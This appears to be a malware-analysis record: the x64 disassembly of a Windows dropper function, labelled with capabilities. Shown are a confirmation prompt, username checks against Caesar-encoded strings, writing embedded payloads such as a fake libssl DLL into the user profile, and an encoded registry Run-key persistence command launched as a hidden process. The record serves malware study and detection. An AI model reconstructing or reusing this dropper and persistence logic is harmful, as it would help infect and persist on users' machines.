Function at 0x1400015b9
Capabilities:
Create directory
Query environment variable
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
mov eax, 0x2138
call fcn.140002c20
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x20d0], rcx
mov qword [rbp + 0x20d8], rdx
mov qword [rbp + 0x20e0], r8
mov dword [rbp + 0x20e8], r9d
mov r9d, 0x24
lea r8, str.Confirmer_lex
lea rax, str.Ce_programme_est_un_programe_malicieux__d
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
mov dword [rbp + 0x20ac], eax
cmp dword [rbp + 0x20ac], 7
jne 0x14000162a
mov ecx, 0
call sym.exit
mov dword [rbp + 0x20a8], 0x1000
mov edx, dword [rbp + 0x20a8]
lea rax, [rbp + 0x1060]
mov r8d, edx
mov rdx, rax
lea rax, str.USERPROFILE
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
mov edx, dword [rbp + 0x20a8]
lea rax, [rbp + 0x60]
mov r8d, edx
mov rdx, rax
lea rax, str.USER
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.ceasar
mov rdx, rax
lea rax, str.bavsf
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001ab8
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.ceasar
mov rdx, rax
lea rax, str.hfpshf
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001ab8
lea rax, str.ZooCzszKnbzkROTshkr_
mov rcx, rax
call sym.ceasar
mov qword [rbp + 0x20a0], rax
lea rax, str.rbugnrsX32.dwd
mov rcx, rax
call sym.ceasar
mov qword [rbp + 0x2098], rax
lea rax, str.libssl_3_x64.dll
mov qword [rbp + 0x2090], rax
lea rax, [rbp + 0x1060]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0x20a0]
mov rcx, rax
call sym.strlen
add rbx, rax
mov rax, qword [rbp + 0x2098]
mov rcx, rax
call sym.strlen
add rax, rbx
add rax, 1
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x2088], rax
lea rax, [rbp + 0x1060]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0x20a0]
mov rcx, rax
call sym.strlen
add rbx, rax
mov rax, qword [rbp + 0x2090]
mov rcx, rax
call sym.strlen
add rax, rbx
add rax, 1
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x2080], rax
lea rdx, [rbp + 0x1060]
mov rax, qword [rbp + 0x2088]
mov rcx, rax
call sym.strcpy
lea rdx, [rbp + 0x1060]
mov rax, qword [rbp + 0x2080]
mov rcx, rax
call sym.strcpy
mov rdx, qword [rbp + 0x20a0]
mov rax, qword [rbp + 0x2088]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x20a0]
mov rax, qword [rbp + 0x2080]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x2088]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
mov rdx, qword [rbp + 0x2098]
mov rax, qword [rbp + 0x2088]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x2090]
mov rax, qword [rbp + 0x2080]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x2088]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2078], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2078]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x235d4
lea rdx, [0x140007720]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x2078]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x2080]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2078], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2078]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x137968
lea rdx, [0x14002ad00]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x2078]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], 0
lea rax, [rbp + 0x40]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, str.qdf_zcc_FJBTRnesvzqdLhbqnrnesVhmcnvrBtqqdmsUdqrhnmQtm__u_TshkhsxRO__c___
mov rcx, rax
call sym.ceasar
mov qword [rbp + 0x2070], rax
mov rax, qword [rbp + 0x2070]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0x2088]
mov rcx, rax
call sym.strlen
add rax, rbx
add rax, 3
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x2068], rax
mov rdx, qword [rbp + 0x2070]
mov rax, qword [rbp + 0x2068]
mov rcx, rax
call sym.strcpy
mov rdx, qword [rbp + 0x2088]
mov rax, qword [rbp + 0x2068]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x2068]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0x2068]
add rax, rdx
mov dword [rax], 0x22225c
mov rax, qword [rbp + 0x2068]
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0x40]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x2088]
mov rcx, rax
call sym.start_prog
mov eax, 0
add rsp, 0x2138
pop rbx
pop rbp
ret